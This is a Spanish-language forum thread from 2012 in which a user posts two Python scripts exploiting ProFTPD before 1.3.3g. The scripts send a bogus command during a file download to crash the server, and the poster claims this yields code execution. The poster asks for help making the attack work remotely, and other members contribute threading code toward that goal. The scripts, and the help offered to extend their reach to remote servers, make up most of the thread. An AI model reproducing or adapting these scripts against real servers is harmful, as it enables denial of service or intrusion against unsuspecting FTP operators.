Ayuda con script python

Iniciado por Xenomorfo77, 2 Mayo 2012, 06:00 AM

0 Miembros y 1 Visitante están viendo este tema.

Xenomorfo77

Hola, he encontrado la manera de explotar una vulnerabilidad en ProFTPD < 1.3.3g pero necesito ayuda para modificar los scripts. La vulnerabilidad reside en enviar un comando inexistente mientras se esta descargando un archivo lo que permite ejecutar codigo. Los scripts estan diseñados para hacerlo en una LAN pero quiero modificarlos para que sirva remotamente.

Este es el primer script:
Código (python) [Seleccionar]

#!/usr/bin/env python

# Parameters
ftpClient = "192.168.1.11"
ftpClientPort = "1025"

import socket
import time

# Open a socket to receive data    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ftpClient,int(ftpClientPort)))
s.listen(5)        

client, address = s.accept()
print client.recv(2)
time.sleep(5)
print client.recv(1024)
client.close()

Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.

Aqui va el segundo script:

Código (python) [Seleccionar]

#!/usr/bin/env python

# Parameters
ftpServer = "192.168.1.10"
ftpServerPort = 21
ftpUsername = "user"
ftpPassword = "password"
ftpClient = "192.168.1.11"
ftpClientPort = "1025"

# Commands to trigger the segmentation fault.
ftpCommands = """USER %s
PASS %s
SYST
TYPE A
PORT %s,%s
RETR nada
WXYZ 0wn3d
QUIT
""" % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))

import socket

# Open commands socket
sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sc.connect((ftpServer,ftpServerPort))

# Will send FTP commands.
for command in ftpCommands.split('\n'):
   print sc.recv(1024),    
   sc.send(command+'\r\n')
   print command



Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.



Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.

Runex

Si debes realizar 2 tareas, es decir descargar un archivo y mientras enviar un comando inexistente, deberás usar threading.

Por otra parte porque no utilizas ftplib?, en vez de utilizar sockets.

Puedes leerte la documentación en http://python.org/doc/

Un saludo :)
"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".

Xenomorfo77

Gracias Runex y perdona mi ignorancia pero la libreria ftplib hay que descargarla o ya viene en el sistema?

Xenomorfo77

#3
Código (python) [Seleccionar]

#!/usr/bin/env python

import threading
from ftplib import FTP

ftpIP=''
ftpUser=''
ftpPass=''
ftpFilename=''
i=0
class ThreadC ( threading.Thread ) :

def run (self):

  ftp = FTP(ftpIP)
          ftp.getwelcome()  
  ftp.login(ftpUser,ftpPass)
  ftp.retrbinary('RETR ' + ftpFilename)
          i=1

class ThreadF ( threading.Thread ) :

def run (self):

         ftp.sendcmd('WXZY *Xenomorfo77/')


ThreadC.start()
if i == 1:
  ThreadF.start()


Esto es lo que tengo por el momento ya que no tengo ni pajolera idea de python alguien me puede decir si voy bien encaminado? Tambien como hacer para iniciar el proceso F cuando el C este transfiriendo, ya que lo de i = 1, es una porqueria, me tira un error en TreadC.start() que argumento debo poner? Un saludo.

Breixo

#4
Yo para utilizar threads en Python me gusta más hacerlo así:

Código (python) [Seleccionar]

import threading

def proceso1(argumento1,argumento2):
     loquesea

def proceso2():
     loquesea

thread1 = threading.Thread(target=proceso1,args=(argumento1,argumento2))
thread2 = threading.Thread(target=proceso2)

thread1.start()
thread2.start()



Para lo de la condición esa de i = 1, es algo un poco delicado porque los threads comparten las variables globales y hay que tener cuidado yo lo haría algo así

Código (python) [Seleccionar]

import threading,

class auxiliar:
   def __init__(self,user,pwd)
      self.ftp_user = user
      self.ftp_pwd = pwd
      self.condicion = 0

   def proceso1(self,argumento1,argumento2):
//cuando vayas a acceder alguna variable global hay que utilizar locks para
//que no casquen los threads, lo que hacen es apropiarde completamente de la cpu
//hasta que el lock se libere.
        lock = threading.Lock()
        lock.acquire()
        self.condicion = 1
        lock.release()
        loquesea

  def proceso2(self):
        loquesea

  def ejecucion(self):
       lock = threading.Lock()
       thread1 = threading.Thread(target=self.proceso1,args=(argumento1,argumento2))
       thread2 = threading.Thread(target=self.proceso2)
       thread1.start()
       lock.acquire()
//En ven de un if tienes que poner un while para que se quede esperando a que se active la condicon
       while(self.condicion == 0):
           lock.release()
           sleep(1)
           lock.acquire()
       lock.release()
       thread2.start()

aux = auxiliar('user','pwd')
aux.ejecucion()


Xenomorfo77

Gracias Breixo, la verdad esque no me he enterado de nada xD pero sin tener ni idea de python que mas se puede pedir,  cuando tenga tiempo me pondre a estudiarlo para entenderlo. He resuelto mi problema de forma cutre haciendo 2 scripts pero weno servir sirve asi que me quedo contento jajaja. Un saludo y gracias por contestar a los 2.